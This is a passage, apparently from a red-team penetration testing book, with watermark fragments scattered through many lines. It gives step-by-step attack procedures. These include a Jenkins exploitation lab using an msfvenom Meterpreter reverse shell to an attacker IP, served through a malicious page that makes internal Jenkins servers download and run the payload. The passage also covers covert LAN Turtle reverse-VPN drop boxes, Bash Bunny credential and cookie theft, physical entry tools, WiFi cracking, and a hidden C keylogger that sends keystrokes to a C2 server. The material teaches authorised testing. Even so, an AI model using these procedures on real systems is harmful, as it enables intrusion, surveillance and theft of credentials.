browser.” [https://github.com/Arno0x/EmbedInHTML]
ar
cd /op/EmbedInHTML
le
m
The second tool, demiguise, “generates .html files that contain an encrypted HTA file. The
idea is that when your target visits the page, the key is fetched and the HTA is decrypted
co
dynamically within the browser and pushed directly to the user. This is an evasion
technique to get around content / file-type inspection implemented by some security-
appliances. This tool is not designed to create awesome HTA content. There are other
a.
tools/techniques that can help you with that. What it might help you with is getting your
HTA into an environment in the first place, and (if you use environmental keying) to avoid
it being sandboxed.” [https://github.com/nccgroup/demiguise]
ag
python demiguise.py -k hello -c “cmd.exe /c <powershell_command_here>” -
p Outlook.Application -o test.hta rm
ba
r n-
l ea
w.
ww
Exploiting Internal Jenkins with Social Engineering
As Red Teamers, creativity in attacks is what makes our work extremely exciting. We like
to take old exploits and make them new again. For example, if you have been performing
network assessments, you know that if you come across an unauthenticated Jenkins
application (heavily used by developers for continuous integration), it pretty much means
full compromise. This is because it has a “feature” that allows Groovy script execution
m
for testing. Utilizing this script console, we can use execute commands that allow shell
co
access to the underlying system.
a.
ag
rm
ba
r n-
ea
The reason this method has become so popular for compromise is that almost every major
company has some instances of Jenkins. The problem with an external attack is that these
Jenkins services are all hosted internally and can’t be reached from the outside.
l
w.
How could we execute code on those servers remotely? Before we can answer this
question, I tell my team to take a step back and build a replica network with Jenkins for
testing. Once we have a good understanding of how code execution requests function, we
ww
m
The next question is, what payload do we use? If you have played around with the
co
Jenkins Console shell, you know it is a little finicky, so being able to get complex
PowerShell payloads consistently might be tough. To solve this problem, a tool was
created for THP3 called “generateJenkinsExploit.py”
a.
(https://github.com/cheetz/generateJenkinsExploit), which will take any binary file,
encrypt it, and build the malicious attack JavaScript page. When a victim hits our
malicious webpage, it will grab their internal IP and start spraying our exploit to all
ag
servers in the /24 range. When it finds a vulnerable Jenkins server, the attack will send a
Groovy script payload to grab the encrypted binary from the internet, decrypt it to a file
under C:\Users\Public\RT.exe and execute the Meterpreter binary (RT.exe).
rm
In concept (diagramed below), this is very similar to a Server Side Request Forgery
(SSRF), where we are forcing the victim’s browser to re-initiate our connections to
ba
internal IPs.
n-
Upon finding a Jenkins server, our Groovy code will tell the Jenkins server to
grab the encrypted payload from the attacker’s server, and then decrypt and
execute the binary.
le
ww
m
co
a.
ag
rm
Note: This vulnerability does not exist in the latest versions of Jenkins. Versions before 2.x
are vulnerable by default as they did not enable CSRF protection (allowing for this blind
call to /script/) and did not have authentication enabled.
ba
Full Jenkins Exploitation Lab:
n-
We are going to build out a Jenkins Window server, so that we can repeat this
attack.
Install a Windows VM that has a Bridged Interface on your local network
ar
Start Jenkins
java -jar jenkins.war
Browse to Jenkins
http://<Jenkins_IP>:8080/
w.
Exploit Jenkins on the THP Kali VM:
Download the THP Jenkins Exploit Tool (http://bit.ly/2IUG8cs)
To perform the lab, we first need to create a Meterpreter payload
msfvenom -p windows/meterpreter/reverse_https LHOST=
<attacker_IP> LPORT=8080 -f exe > badware.exe
Encrypt our Meterpreter binary
cd /opt/generateJenkinsExploit
python3 ./generateJenkinsExploit.py -e badware.exe
Create our malicious JavaScript Page called badware.html
python3 ./generateJenkinsExploit.py -p
http://<attacker_IP>/badware.exe.encrypted > badware.html
Move both the encrypted binary and malicious JavaScript page to the web
directory
mv badware.html /var/www/html/
m
mv badware.exe.encrypted /var/www/html/
co
a.
ag
Now, on a completely different system, visit your attacker webpage
http://<attacker_IP>/badware.html using either Chrome or Firefox. Just by visiting that
rm
malicious page, your browser blasts your internal /24 network over port 8080 with our
Groovy payload using JavaScript and POST requests. When it finds a Jenkins server, it
will cause that server to download our encrypted Meterpreter, decrypt it, and execute it.
ba
On a corporate network, you may end up with tons of different shells.
n-
ar
le
w.
Jenkins is just one of the many attacks you can do. Anything that allows code execution
unauthenticated by a GET or POST HTTP method could be used in this same scenario.
This is where you need to identify what applications our victims utilize internally and craft
ww
m
In terms of metrics and goals, we need to move away from a reactive model of waiting for
co
users to report phishing/SE emails, to a proactive model where we can hunt actively for
these types of malicious attacks.
a.
ag
rm
ba
n-
ar
le
w.
ww
6 the onside kick - physical attacks
m
co
a.
ag
rm
ba
r n-
lea
w.
ww
As part of the security assessment, CSK has asked your team to do a physical assessment
of the facility. This entails checking if their gates and protections are adequate, and if able
to get on the premises, validating how the guards react and their response times.
*Quick note: Please make sure to check with local, state, and federal laws prior to doing
m
any physical assessments. For example, in Mississippi, Ohio, Nevada, or Virginia, just
having lock picks could be considered illegal. I am not a lawyer, so it would be wise for
co
you to consult with one first. Also, ensure you have proper approval, work with the
facility’s physical security teams, and have a signoff paper in case you get caught. Prior to
the actual engagement, work with the physical security team to discuss what happens if
a.
security guards catch you, if you can run or if you have to stop, and if there is someone
monitoring the radios. Also, make sure the guards do not contact local law enforcement.
The last thing you want is to actually go to jail.
ag
Now, it’s time to break into the Cyber Space Kittens’ secret facility. Per the website, it
rm
looks like it is located on 299792458 Light Dr. After we do some reconnaissance on
Google street, we notice that this facility is gated and has a guard shack or two. We can
identify multiple entry points and areas where we might be able to get over the fence.
ba
With an initial walkthrough, we also identify some cameras, gates, entry points, and card
reader systems.
n-
ar
le
w.
ww
Card Reader Cloners
Card reader cloners were heavily covered in THP2, so I will mainly go into updates. For
the most part, HID badges that don’t require any public/private handshakes are still
vulnerable to clone and bruteforce ID numbers.
m
In THP2, we loved cloning ProxCard II badges as they don’t have any protections, can be
cloned easily, and cards are generally purchased in bulk incrementally, which allow for
co
easy bruteforcing. This was all done using the Proxmark3 device. Since then, a much
more portable version of this device has been released called Proxmark3 RDV2 Kit
(http://hackerwarehouse.com/product/proxmark3-rdv2-kit/). This version can be
a.
configured with a battery and is much smaller than the original Proxmark3.
ag
rm
ba
n-
hacking-with-the-proxmark-3/.
ww
Physical Tools to Bypass Access Points
We won’t get into physical tools and how-tos, as that is an entire book and requires a great
deal of experience. As always, the best way to do physical assessments is to practice,
build physical labs, and figure out what works and what doesn’t. In terms of some cool
tools that we have used in the past:
m
Lock Picks (https://www.southord.com/) - SouthOrd has always been our go-
co
to for lock picks. Great quality and works well.
Gate Bypass Devices (https://www.lockpickshop.com/GATE-BYPASS.html) -
Tool for getting around locked gates.
a.
Shove-it Tool (https://www.lockpickshop.com/SJ-50.html) - Simple tool if
there is adequate space been a door and the latch. Similar to the credit card
swipe to open doors, you use the shove-it tool to go behind the plunger and
ag
pull back.
Under the Door 2.0 (https://shop.riftrecon.com/products/under-the-door-tool)
– Tool for doors that have the lever handle. We can use the Under the Door
rm
tool to literally go under the door, wrap around the lever handle, and pull
down. Back in the day, these were commonly found in hotels, but we
definitely do come across them in businesses, too.
ba
Air Canisters - A cheap and easy tool to get around doors that unlock with
motion sensors on the inside. Check out this video to see Samy Kamkar
bypass these types of doors: https://www.youtube.com/watch?
n-
v=xcA7iXSNmZE
Remember, the purpose of these tools and physical assessments is to track and monitor
ar
how a company’s physical security program responds. So it is our job to make sure we
adequately document not only flaws in the system, but also if the response times and
handling of the incident were acceptable.
le
The LAN Turtle is one of my favorite tools from Hak5. In the prior books, we have
looked into Raspberry Pi and ODROID small form factors for drop boxes. Running Kali
ww
Linux on these devices and having them either SSH or VPN back into our attacker
machines was a great way to do physical penetration tests.
These drop boxes have continued to evolve through the years. Now, the LAN Turtle is
one that can be hidden behind any machine, powered by USB, and transparent to the user.
The LAN Turtle uses the USB as a NIC card and proxies all traffic through the Ethernet
cable.
There is also a 3G cellular edition, but we won’t be demonstrating that here.
Setting up the LAN Turtle:
So the LAN Turtle’s purpose is to replace the dropbox. Although it has a load of other
features like autossh, dns spoofing, meterpreter, ptunnel, script2email, urlsnarf, responder,
and more, the main Red Team use is to gain access into the network.
co
Historically, and even in prior THP books, we used SSH reverse shells. These generally
work adequately, but for more in-depth scanning/complex attacks, we need full access into
the network. To do this, we are going to have to configure a Reverse VPN connection.
a.
What does a reverse VPN connection look like?
ag
Well, since the LAN Turtle will be dropped on the back of one of the desktops inside an
organization, we won’t be able to directly connect to it. Therefore, we will have the LAN
Turtle first go outbound via port 443 to VPN back to our OpenVPN AS server. From our
rm
attacker Kali box, we will have to also log into the VPN server. Once the LAN Turtle and
our Attacker Machine are VPNed into our server, we can route our traffic through the
LAN Turtle to scan or exploit boxes.
ba
r n-
l ea
w.
ww
m
co
a.
ag
Although OpenVPN reverse tunnels aren’t new, the team at Hak5 did a really good job
rm
putting a tutorial together. I have had to modify some of the following commands, but
watch their YouTube video for a more detailed explanation:
https://www.youtube.com/watch?v=b7qr0laM8kA.
ba
There are three major parts to this:
n-
Setting Up A VPS OpenVPN AS Server:
le
We want to make sure that our VPN server is externally facing. We generally
like to host our VPN servers on VPS servers as they are extremely easy and
quick to set up. As a caveat, please check with your VPS provider to make
sure you are allowed to do certain activities.
w.
Two providers we usually see people use are Linode and Amazon Lightsail.
This is because these VPS providers are quick, cheap, and super easy to set
up. In this case, we are going to be using AWS Lightsail. The other reason to
ww
m
as-sw/113.html?osfamily=Ubuntu
Copy the link and download it onto the VPS. Example:
co
wget http://swupdate.openvpn.org/as/openvpn-as-
2.1.12-Ubuntu16.amd_64.deb
Install OpenVPN AS:
a.
dpkg -i openvpn-as-2.1.12-Ubuntu16.amd_64.deb
Delete the current profile and configure OpenVPN:
/usr/local/openvpn_as/bin/ovpn-init
ag
During the setup:
Make sure to set the ADMIN UI to all
interfaces
rm
Set Use local authentication via internal DB to
YES
Update OpenVpn passwords:
passwd openvpn
ba
This is a great time to put IPTables for port 943 to only allow
connections from your networks
n-
Set Up OpenVPN AS Server:
Goto https://[IP Address of VPS server]:943/admin/
ar
Login with user account “openvpn” and the password you just created
If you are using AWS Lightsail:
Go to Server Network Settings and make sure the: Hostname or IP
le
Address is the right PUBLIC IP address and not the PRIVATE one
Save and Update
Verify authentication is set to local:
w.
Authentication -> General -> Local -> Save Settings -> Update
Server
Create Two Users with Allow Auto-Login enabled (I did lanturtle and
ww
redteam):
User Management -> User Permissions
For each user:
Set AllowAuto-login
Make sure to Set Passwords for both of them
For the lanturtle account, to allow connectivity via VPN, we need
to enable some permissions:
Make sure to configure/enable under User Permissions:
all server-side private subnets
all other VPN clients
m
co
a.
ag
Download OpenVPN Profiles: rm
Connect to download profiles:
https://[Your VPS]:943/?src=connect
For each user (redteam and lanturtle)
ba
rn
om
Go back to Modules -> openvpn -> configure -> paste everything
all from turtle.opvn and save
We also want to make sure that the LAN Turtle OpenVPN server starts up at
bootup, so we can just drop it and run:
.c
Go to Modules -> openvpn -> Enable
Lastly, we need to modify our Firewall Rules on our LAN Turtle:
Exit out of the turtle menu and edit our Firewall rules
ga
nano /etc/config/firewall
Under: config zone ‘vpn’
Make sure “option forward” is set to ACCEPT
config forwarding
option src wan
ma
Add the following config forwarding rules:
ar
option dest lan
config forwarding
option src vpn
-b
connects back to our VPN Server and we can SSH into the LAN Turtle. Let’s walk
w.
through an example:
Accessing the VPN Server from our Kali Attacker Host:
ww
m
reboot
co
a.
ag
rm
ba
n-
ar
le
Now, we can VPN from our Attacker box and route all of our traffic through the VPN
LAN Turtle into the victim corporate network. In the following image, we are logged into
w.
the VPN server, scanning the LAN Turtle’s internal network of 10.100.100.0/24. We can
see that we have successfully configured the routes from the VPN Gateway, through the
LAN Turtle, to the corp network. From our Kali Attacker Machine, we can run full
vulnerability scans, web scrapes, Masscans, and more.
ww
m
co
That’s it! You now have a quick-drop device that will let you keep a full connection into a
a.
victim network. A few things you can do to be more successful:
Put a cronjob that resets the device every day. Tunnels can break and every
time the Turtle reboots, a new connection is restarted.
ag
Some corporations block certain ports outbound. In this case we used port
443, which in many environments would be allowed outbound. For other
companies that use web proxies, direct traffic outbound via 443, might be
rm
blocked. You may need to configure the LAN Turtle to automatically try
multiple different ports or protocols (TCP/UDP) on start up.
If you are going to drop two or more devices, make sure the VPN servers and
ba
MAC addresses are different. We have had instances where our devices were
found during engagements and almost every time, it was by accident because
IT was moving or changing out computers.
n-
ar
le
w.
ww
Packet Squirrel
Another tool from Hak5 that has similar features as the LAN Turtle is the Packet Squirrel.
The Packet Squirrel requires a USB micro to be powered, but instead of one end being a
USB Ethernet adaptor, on the Packet Squirrel, both ends are Ethernet cables. This is
another discrete way to either capture traffic or create a VPN connection.
om
.c
ga
r ma
ba
n-
Similar to the LAN Turtle for configuring the Packet Squirrel;
Edit the /root/payloads/switch3/payload.sh
ar
FOR_CLIENTS=1
Edit /etc/config/firewall
Make the exact same Firewall changes you did for the LAN Turtle
le
You now have another device that, once connected to the network, will have a Reverse
VPN connection back into the company.
ww
Also, if you do own a Packet Squirrel, plenty of awesome research has been done on it.
You can easily convert the Packet Squirrel into an OpenWRT-based DYI disposable pen-
test drop box (https://medium.com/@tomac/a-15-openwrt-based-diy-pen-test-dropbox-
26a98a5fa5e5) using SWORD.
Resources:
https://www.hak5.org/episodes/hak5-1921-access-internal-networks-with-
reverse-vpn-connections
http://www.ubuntuboss.com/how-to-install-openvpn-access-server-on-ubuntu-
15-10/
https://trick77.com/how-to-set-up-transparent-vpn-internet-gateway-tunnel-
openvpn/
https://www.hak5.org/gear/packet-squirrel/docs
co
a.
ag
rm
ba
n-
ar
le
w.
ww
Bash Bunny
In the previous books, we talked about the Rubber Ducky
(https://hakshop.com/collections/usb-rubber-ducky) and how it emulates HID devices, like
keyboards, to store commands. As Red Teamers, the Rubber Ducky is still a great tool as
it can speed up the delivery of PowerShell commands, be used for social engineering
exercises, and can allow compromises on kiosk systems that might not have a keyboard,
m
but have USB slots.
co
The Bash Bunny is the advanced version of this. Not only can it perform HID style
attacks, but it can also do a world more. The Bash Bunny has two separate settings to
a.
store two attacks (and one extra setting for management). These payloads can perform
attacks to steal credentials, conduct phishing, perform Ducky attacks, run PowerShell
commands, perform scanning and recon, execute Metasploit autopwn, and more.
ag
In the prior book, we spoke about using KonBoot (http://www.piotrbania.com/all/kon-
rm
boot/) to get around machines to which you don’t have passwords. KonBoot works on
non-encrypted machines, where it boots up from a USB stick to overwrite the local
administrative passwords. Although this does require a full reboot, this gets you onto a
ba
machine without credentials. If you haven’t played around with KonBoot, we use it all the
time on engagements and have had great success.
n-
There are two reasons why you may not want to use KonBoot: (1) this attack will not
work on encrypted machines, and/or (2) you may not want to reboot the victim’s
computer. How can you get information from the locked system to get access to
ar
additional stuff on the network or potentially get hashes/credentials? This is where Bash
Bunny comes into play.
le
We are going to use the Bash Bunny to run two different attack payloads for us. Both of
these payloads will allow us to get information from a locked (or unlocked) system if we
w.
have physical access to it. We are going to demonstrate the use of BunnyTap and
QuickCreds.
ww
m
Setting Up Bash Bunny on Kali
co
Download the latest Firmware: https://bashbunny.com/downloads
Put the Bash Bunny on Switch 3 - Arming Mode (closest to the USB port)
Drop the firmware on the root of the USB mount, unplug, replug, and wait for
a.
about 10 minutes until it blinks blue
Once it’s all done, go back into the Bash Bunny and edit the file under:
payloads > switch1 > payload.txt
ag
# System default payload
LED B SLOW
ATTACKMODE ECM_ETHERNET STORAGE
Unplug your device
rm
On your Kali Box, set up the internet sharing:
wget bashbunny.com/bb.sh
ba
chmod +x bb.sh
./bb.sh
Guided Mode (Chose all defaults)
n-
On the Bash Bunny, put it on Switch 1 (farthest away from the USB) and plug
in. Once complete, make sure you Connect to the Bash Bunny, where you
should see the Cloud <-> Laptop <-> Bunny image
On your Kali Machine, SSH into the Bash Bunny with password hak5bunny
ar
le
w.
ww
Logging into the Bash Bunny
On your Kali Machine, SSH into the Bash Bunny with password hak5bunny
ssh [email protected]
Let’s Update and Install some tools on the Bash Bunny
apt-get update
apt-get upgrade
export GIT_SSL_NO_VERIFY=1
git clone https://github.com/lgandx/Responder.git /tools/responder
m
git clone https://github.com/CoreSecurity/impacket.git
/tools/impacket
co
cd /tools/impacket && python ./setup.py install
apt-get -y install dsniff
In another terminal on your Kali machine, install all the modules you want.
a.
git clone https://github.com/hak5/bashbunny-payloads.git
/opt/bashbunny-payloads
You can select any type of payload, but in our case, we are going to set up the
ag
Bash Bunny with two payloads: BunnyTap and QuickCreds
cp -R /opt/bashbunny-
payloads/payloads/library/credentials/BunnyTap/*
rm
/media/root/BashBunny/payloads/switch1/
cp -R /opt/bashbunny-
payloads/payloads/library/credentials/QuickCreds/*
/media/root/BashBunny/payloads/switch2/
ba
QuickCreds
le
machine. The Bash Bunny will take over the network adaptor, reroute any requests for
shares and authentication using Response, and then log that data. It saves all creds to the
loot folder on the USB Disk.
ww
References:
https://github.com/hak5/bashbunny-
payloads/tree/master/payloads/library/credentials/QuickCreds
https://room362.com/post/2016/snagging-creds-from-locked-machines/
BunnyTap
om
BunnyTap is based on Samy Kamkar’s infamous PoisonTap
(https://www.youtube.com/watch?v=Aatp5gCskvk). PoisonTap was an awesome tool
.c
that, even from a locked machine, does the following:
Emulates an Ethernet device over USB (or Thunderbolt)
ga
Hijacks all Internet traffic from the machine (despite being a low
priority/unknown network interface)
Siphons and stores HTTP cookies and sessions from the web browser for the
Alexa top 1,000,000 websites
ma
Exposes the internal router to the attacker, making it accessible remotely via
outbound WebSocket and DNS rebinding (thanks Matt Austin for the
ar
rebinding idea!)
Installs a persistent web-based backdoor in HTTP cache for hundreds of
thousands of domains and common JavaScript CDN URLs, all with access to
-b
domain
Does not require the machine to be unlocked
ar
Backdoors and remote access persist even after device is removed and
attacker sashays away [https://samy.pl/poisontap/]
le
From a physical assessment perspective, you go into their office, plug it into each
machine, and wait about 2 minutes. The Bash Bunny will route all traffic to the Bash
w.
Bunny. If they have a browser open and active (like ads or any page that regularly
updates), the BunnyTap will kick in and request all the Alexa top 1,000,00 websites. If
the victim user is logged into any of these sites at the time, the BunnyTap will capture all
ww
of the victim’s cookies. Now, we can take these cookies onto our own computers, replace
our cookies with theirs, and become them without ever knowing their passwords.
m
co
a.
Make sure to check out all the cool Bash Bunny payloads:
https://github.com/hak5/bashbunny-payloads/tree/master/payloads/library.
ag
rm
ba
r n-
l ea
w.
ww
WiFi
In terms of WiFi, there haven’t been any significant changes in how we attack clients.
Although we are starting to see significantly less WEP networks, the attacks still consist of
deauth, aireplay-ng, and capturing IV packets. For WPA wireless networks, the best
option here still is to deauth a client, capture the handshake, pass it over to hashcat, and
crack the password. Both these methods work great and my favorite tool to use is the
m
completely rewritten version of Wifite2 (https://github.com/derv82/wifite2) using an Alfa
co
AWUS036NHA wireless card. This is a simple-to-use interface as it can support
numerous attacks, sits on top of aircrack, and makes it easy to crack the captured hashes.
a.
ag
rm
ba
r n-
ea
In terms of equipment, other than getting a couple Alfas, the easy way to perform more
evasive WiFi attacks is using the WiFi Pineapple Nanos
(https://www.wifipineapple.com/pages/nano). If you need to spin up a fake HostAP,
l
reroute traffic through another antenna, stand up fake pages to capture authentication,
perform all the MITM attacks, run Responder, and other attacks, the Nano is a lightweight
w.
ag
For those who don’t subscribe to the Pineapple, there are some great tools out there that do
many of the corporate attacks. One of these tools is eaphammer
(https://github.com/s0lst1c3/eaphammer). The features of eaphammer:
rm
Steal RADIUS credentials from WPA-EAP and WPA2-EAP networks.
ba
Perform hostile portal attacks to steal AD creds and perform indirect wireless
pivots
Perform captive portal attacks
-
(https://github.com/s0lst1c3/eaphammer#iii–stealing-ad-credentials-using-hostile-portal-
attacks) and indirect pivots (https://github.com/s0lst1c3/eaphammer#iv–indirect-wireless-
pivots).
Conclusion
Physical attacks are one of the most fun to do. They get the adrenaline pumping, make
you feel like a criminal, and force you to think evilly. On many of our engagements, we
may spend a couple days just casing a company, watching the guard rotations, and
figuring out what types of doors they have. We might try to take long range photos of
their badges, record hours when people leave the building, and identify weak spots that
m
would get us into the building.
co
From a Red Team perspective, we want to take note of weak spots not only in their
physical security, but in their people as well.
a.
If you trigger an alarm, how long does it take for someone to check it out?
Are the cameras monitored 24/7? If so, if something is suspicious, how long
ag
until a comes to investigate?
Are the employees watching for tail-gating?
If you do get stopped, are you able to talk your way out of it?
If you dress up as someone similar to facilities staff (or any third party
rm
service) what types of reactions do you get?
ba
Last note, before you get started, make sure you have a well-defined scope, a get out of
jail letter, phone numbers for the CISO/Physical Security, and be sure to work with the
company. The more you can detail out, the less likely you will be thrown onto the ground
n-
le
w.
ww
7 the quarterback sneak - evading av and network detection
m
co
a.
ag
rm
ba
rn-
lea
w.
ww
Writing Code for Red Team Campaigns
One of the things that sets apart successful Red Teamers and Penetration Testers is the
ability to adapt and understand different protections. Whether it is understanding low-
level assembly, writing shellcode, creating a custom C2 binary, or modifying code caves to
m
hide our malware, it’s all part of our daily job. I come across pentesters all the time who
can’t code and although it is not a requirement, it definitely causes a plateau in their
co
professional growth. Therefore, I wanted to dedicate a section to those who haven’t really
coded in lower-level languages in order to give them a start.
a.
ag
rm
ba
n-
ar
le
w.
ww
The Basics Building a Keylogger
Keyloggers are an essential tool to any pentest/Red Team and this section will walk you
through making a generic keylogger. There are times when we just want to continually
monitor a certain user or get additional credentials. This might be because we can’t get
any sort of lateral movement/privilege escalation or we might just want to monitor the
user for future campaigns. In these cases, we like to drop keyloggers that continually run
m
on a victim’s system and send their keystrokes outbound. The following example is just a
co
POC and the purpose of this lab is for you to understand the basics and build from here.
The reasons it is all in C are to keep the binary relatively small, have better OS control due
to lower level languages, and evade AV. In the prior book, we wrote a keylogger in
Python and compiled it with py2exe to make it into a binary, but those can be easily
a.
detected. Let’s walk through a slightly more complex example.
ag
This is the basic setup you need to write and compile in C to make Windows binaries and
create the custom keylogger. rm
Windows 10 in a Virtual Machine
Install Visual Studio so that you could use the command line compiler along
with Vim for code editing
ba
The best coding resource for Windows API programming by far is Microsoft’s own
Development Network (MSDN) website found here: www.msdn.microsoft.com. MSDN is
n-
an invaluable resource that details system calls, type and struct definitions, and includes
dozens of examples. While it wasn’t really needed for this project, a more in-depth
understanding of the Windows OS can be found by reading the Windows Internals books
ar
published by Microsoft Press. For C, there is a good book co-authored by one of the
founders of C called, The C Programming Language by Kernighan and Ritchie. Lastly,
read Beej’s Guide to Network Programming, available in print and online, which is a great
le
In these labs, there are going to be multiple code samples and examples. The labs will be
compiling the code using Microsoft’s Optimizing Compiler, which comes with Visual
Studio Community and is built into the Visual Studio Developer Command Prompt. Once
ww
VS Community is installed, make sure to also install the Universal Windows Platform
development and Desktop development with C++ under Tools -> Get Tools and Features.
To compile the examples, open up an instance of the developer command prompt, then
navigate to the folder that contains the source files. Finally, run the command “cl
sourcefile.c io.c”. This will produce an executable with the same name as the source file.
The compiler defaults to 32-bit, but this code can also be compiled in 64-bit. To compile
the code for 64-bit, run the batch script located in the Visual Studio folder. In a command
prompt, navigate to “C:\Program Files (x86)\Microsoft Visual
Studio\2017\Community\VC\Auxiliary\Build”, note that this path might change
depending on your version of Visual Studio. Then, run the command “vcvarsall.bat
x86_amd64”, this will set the Microsoft Compiler to compile 64-bit binaries instead of 32-
bit. Now, you can compile the code by running “cl path/to/code.c”.
Sample Framework
m
The goal of this project is to create a keylogger that utilizes C and low-level Windows
functions to monitor keystrokes. This keylogger makes use of the SetWindowsHookEx
co
and LowLevelKeyboardProc functions. SetWindowsHookEx allows the setting of various
types of hooks in both local and global contexts. In this case, the WH_KEYBOARD_LL
parameter will be used to pull low-level keyboard events. The function prototype for
a.
SetWindowsHookEx looks like this (http://bit.ly/2qBEzsC):
ag
HHOOK WINAPI SetWindowsHookEx(
_In_ int idHook, rm
_In_ HOOKPROC lpfn,
_In_ HINSTANCE hMod,
_In_ DWORD dwThreadId
ba
);
n-
The function takes an integer to a hook ID, a pointer to a function, a handle module, and a
thread ID. The first two values are the most important. The hook ID is an integer for the
type of hook that you are going to install. Windows has the available IDs listed on the
ar
function page. In our case, the ID 13, or WH_KEYBOARD_LL will be used. The
HOOKPROC is a pointer to a callback function that will be called every time the hooked
process receives data. This means that every time a key is pressed, the HOOKPROC will
le
be called. This is the function that will be used to write the keystrokes to the file. hMod is
a handle to a DLL that contains the function that the lpfn points to. This value will be set
to NULL because a function is used in the same process as SetWindowsHookEx.
w.
dwThreadId will be 0 to associate the callback with all of the threads on the desktop.
Finally, the function returns an integer, which will be used to verify that the hook was set
properly or exit otherwise.
ww
The second part that is required will be the callback function. The callback function will
do the heavy lifting for this program. This function will handle receiving the keystrokes,
transforming them into ASCII letters, and all of the file operations. The prototype for the
LowLevelKeyBoardProc (http://bit.ly/2HomCYQ) looks like this:
LRESULT CALLBACK LowLevelKeyboardProc(
_In_ int nCode,
_In_ WPARAM wParam,
_In_ LPARAM lParam
);
m
Let’s review what is required for the LowLevelKeyBoardProc. The parameters for the
function are an integer that tells Windows how to interpret the message. Two of these
co
parameters are: (1) wParam, which is an identifier of the message, and (2) lParam, which
is a pointer to a KBDLLHOOKSTRUCT structure. The values for wParam are specified
in the function page. There is also a page that describes the members of a
a.
KBDLLHOOKSTRUCT. The value of the lParam KBDLLHOOKSTRUCT is the vkCode
or Virtual Key Code (http://bit.ly/2EMAGpw). This is the code for the key that was
pressed and not the actual letter as the letters could vary based on the language of the
ag
keyboard. The vkCode will need to be converted later to the appropriate letter. For now,
do not worry about passing parameters to our keyboard callback function because they
will be passed by the operating system when the hook is activated.
rm
So, the initial skeleton code for hooking the keyboard would look like this:
https://github.com/cheetz/ceylogger/blob/master/skeleton.
ba
As you are reviewing the skeleton code, some things to note are the inclusion of the
n-
pragma comment line, the message loop, and the return CallNextHookEx line in the
callback function. The pragma comment line is a compiler directive to link the User32
DLL. This DLL holds most of the function calls that will be made and so it is required to
ar
be linked. It could also have been linked with the compiler options. Next, the message
loop is necessary if LowLevelKeyboardProc functions are being used. MSDN states,
“This hook is called in the context of the thread that installed it. The call is made by
le
sending a message to the thread that installed the hook. Therefore, the thread that installed
the hook must have a message loop.” [http://bit.ly/2HomCYQ]
w.
and may behave incorrectly as a result. You should call CallNextHookEx unless you
absolutely need to prevent the notification from being seen by other applications.”
[http://bit.ly/2H0n68h]
Next, we move on to build the functionality of the callback function starting with a file
handle. In the example code, it will create a file named “log.txt” in the Windows Temp
directory (C:\Windows\Temp). The file is configured with append argument because the
keylogger needs to continually output the keystrokes to the file. If the file is not present in
temp, one will be created.
Going back to the KBDLLHOOKSTRUCT, the code declares a KBDLLHOOKSTRUCT
pointer and then assigns it to the lParam. This will allow access to the parameters within
the lParam of each key press. Then the code checks to see if the wParam returned
“WM_KEYDOWN”, which will check if the key was pressed down. This was done
m
because the hook will trigger on both the press and the release of a key. If the code did not
co
check for WM_KEYDOWN, the program would write every key twice.
a.
After checking for the downpress, there would need to be a switch statement that checks
the vkCode (virtual key code) of the lParam for special keys. Certain keys would need to
be written to the file differently than the rest, such as the return, control, shift, space, and
tab keys. For the default case, the code would need to convert the vkCode of the key to
ag
the actual letter. An easy way to perform this conversion would be to use the ToAscii
function. ToAscii will take the vkCode, a ScanCode, a pointer to an array of the keyboard
state, a pointer to the buffer that will receive the letter, and an int value for uFlags. The
rm
vkCode and ScanCode are from the key struct, the keyboard state is a byte array that was
declared earlier, a buffer to hold the output, and the uFlags parameter will be set to 0.
ba
It is essential to check to see if certain keys were released, such as the shift key. This can
be accomplished by writing another “if statement” to check for “WM_KEYUP” and then
n-
have a “switch statement” to check the keys that are needed. Finally, the file would need
to be closed and returned back to CallNextHookEx. The Callback function looks like
this:
r
https://github.com/cheetz/ceylogger/blob/master/callback
ea
At this point, the keylogger is completely functional. However, there are a few problems.
The first is that running the program spawns a command prompt, which makes it very
l
obvious that the program is running, and the lack of output on the prompt is pretty
w.
suspicious. Another problem is that having the file on the same computer on which that
keylogger is running, isn’t very helpful.
ww
The command prompt problem can be fixed relatively easily by switching the standard C
“Main” function entry point with the Windows specific WinMain function entry point.
From my understanding, the reason that this works is because WinMain is an entry point
for a graphical program on Windows. Although the operating system is expecting you to
handle the creation of the windows for the program, we can just tell it not to create any,
since we have this control. Now, the program just spawns a process in the background
without creating any windows.
The network side of the program will be straightforward. Start by initializing the
Windows socket functions by declaring WSAData (http://bit.ly/2HAiVN7), starting
winsock, clearing the hints structure, and filling in the relevant wants. For our example,
the code will use AF_UNSPEC for IPV4 and SOC_STREAM for TCP connectivity, and
use the getaddrinfo function to fill out the c2 struct using the previous wants. After all of
the required parameters are met, a socket can be created. Finally, the socket_connect
function connects to the socket.
co
After the connection, the socket_sendfile function will be doing most of the work. It
opens a handle to the log file with the Windows “CreateFile” function, then it gets the file
size with the “GetFileSizeEx” function. Once the file size is obtained, the code will
a.
allocate a buffer of that size, plus one for padding, and then read the file into that buffer.
Finally, we send the contents of the buffer over the socket.
ag
For the server side, a socat listener can be started on the C2 server on port 3490
(Command to start socat: socat - TCP4-LISTEN:3490,fork). Once the listener is started
and the keylogger is running, you should see all the commands from the victim host
rm
pushed to the C2 server every 10 minutes. The initial complete version 1 of the keylogger
can be found here: https://github.com/cheetz/ceylogger/tree/master/version1. Before
compiling the version_1.c, make sure to modify the getaddrinfo to your current C2 IP
ba
One final function that should be mentioned is the thread_func function. The thread_func
calls the function get_time to get the current minute. It then checks to see if that value is
